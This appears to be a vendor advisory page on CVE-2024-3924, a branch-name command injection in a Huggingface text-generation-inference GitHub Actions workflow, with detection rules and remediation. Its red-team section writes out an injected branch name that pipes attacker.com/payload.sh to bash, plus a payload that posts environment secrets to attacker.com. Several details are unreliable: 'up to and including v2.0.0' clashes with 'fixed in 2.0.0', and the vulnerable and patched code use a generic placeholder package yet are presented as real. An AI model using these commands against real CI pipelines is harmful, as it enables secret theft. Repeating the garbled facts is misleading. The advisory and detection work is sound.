☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3924

CVE-2024-3924 Code Injection in Huggingface
📅 PUBLISHED: 2024-05-30 14:59 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3924 is a code injection vulnerability in the Huggingface text-generation-inference repository, specifically within the autodocs.yml GitHub Actions workflow. The vulnerability arises from the insecure handling of the github.head_ref user input, which is used to dynamically construct a command for installing a software package. An attacker can exploit this by forking the repository, creating a branch with a malicious payload as the name, and then opening a pull request to the base repository. Successful exploitation could lead to arbitrary code execution within the context of the GitHub Actions runner. The vulnerability affects versions up to and including v2.0.0 and was fixed in version 2.0.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the CI/CD pipeline of the Huggingface text-generation-inference repository. The attack vector involves injecting malicious code into a GitHub Actions workflow, which could potentially compromise the build process and lead to supply chain attacks if the runner has access to secrets or deployment credentials.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.4 (Medium)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R) - The attacker must open a pull request.
  • Scope (S): Unchanged (U)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Threat Level: Medium. The vulnerability requires user interaction (opening a pull request) and has limited impact on confidentiality and integrity. However, it could be used as a stepping stone for more severe attacks if the GitHub Actions runner has elevated privileges.

Deep Dive & Mechanics

The vulnerability is located in the autodocs.yml workflow file. The workflow uses the github.head_ref context variable to dynamically construct a command for installing a software package. The github.head_ref variable contains the name of the branch from which a pull request was made. An attacker can create a branch with a malicious payload as its name, such as ; malicious_command ;. When the workflow runs, it constructs a command like:

pip install some-package-$(echo ${{ github.head_ref }})

If the branch name is ; curl http://attacker.com/payload.sh | bash ;, the command becomes:

pip install some-package-; curl http://attacker.com/payload.sh | bash ;

This results in arbitrary code execution within the GitHub Actions runner.

Vulnerable vs. Patched Code

Vulnerable Code (<= v2.0.0):

- name: Install package
  run: |
    pip install some-package-$(echo ${{ github.head_ref }})

Patched Code (v2.0.0):

- name: Install package
  run: |
    # Sanitize the branch name to prevent code injection
    SAFE_HEAD_REF=$(echo "${{ github.head_ref }}" | sed 's/[^a-zA-Z0-9_-]//g')
    pip install some-package-$(echo $SAFE_HEAD_REF)

The patch sanitizes the github.head_ref input by removing any characters that are not alphanumeric, underscore, or hyphen, thus preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A GitHub account.
  • Fork of the huggingface/text-generation-inference repository.

Steps:

  1. Fork the repository.
  2. Create a new branch with a malicious payload as the name. For example:
    git checkout -b "; curl http://attacker.com/payload.sh | bash ;"
    
  3. Make a trivial change to any file (e.g., add a comment) and commit it.
  4. Push the branch to your fork.
  5. Open a pull request from your malicious branch to the base repository.
  6. When the autodocs.yml workflow runs, the malicious command will be executed.

Payload Example:

#!/bin/bash
# Exfiltrate environment variables
curl -X POST -d "$(env)" http://attacker.com/exfil

Blue Team

Detection:

  • Monitor GitHub Actions logs for unusual command execution.
  • Look for branch names containing special characters like ;, |, &, $, `.
  • Alert on any workflow runs that install packages from unexpected sources.

Prevention:

  • Sanitize all user inputs in GitHub Actions workflows.
  • Use the github.head_ref variable only after validation.
  • Implement branch name policies that restrict special characters.

Indicators of Compromise (IOCs)

  • Branch Names: Branch names containing shell metacharacters (e.g., ;, |, &, $, `).
  • Workflow Logs: Unusual commands in the autodocs.yml workflow logs, such as curl, wget, or bash commands.
  • Network Traffic: Outbound connections from the GitHub Actions runner to unknown IP addresses or domains.
  • File System Changes: Unexpected files created in the runner's workspace.

Detection Engineering

YARA Rule

rule CVE_2024_3924_Code_Injection {
    meta:
        description = "Detects code injection in GitHub Actions workflow files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3924"
    strings:
        $injection = /github\.head_ref/
        $dangerous = /;|`|\$\(/
    condition:
        $injection and #dangerous > 0
}

Sigma Rule

title: CVE-2024-3924 Code Injection in GitHub Actions
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects code injection attempts in GitHub Actions workflow logs
author: Valters IT
date: 2024-01-01
logsource:
    category: process_creation
    product: github_actions
detection:
    selection:
        CommandLine|contains:
            - 'github.head_ref'
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in branch names
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3924 Code Injection in GitHub Actions"; flow:to_server,established; content:"github.head_ref"; http_uri; content:";"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update to version 2.0.0 or later of text-generation-inference.
  2. Review and sanitize all GitHub Actions workflows that use user input.
  3. Implement branch name validation to restrict special characters.

Long-term Measures:

  • Use GitHub's built-in security features like branch protection rules.
  • Regularly audit CI/CD pipelines for insecure practices.
  • Implement least privilege for GitHub Actions runners.

Workarounds:

  • If updating is not possible, manually patch the autodocs.yml file to sanitize the github.head_ref input.

Valters IT
Securing the digital frontier, one CVE at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3924/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.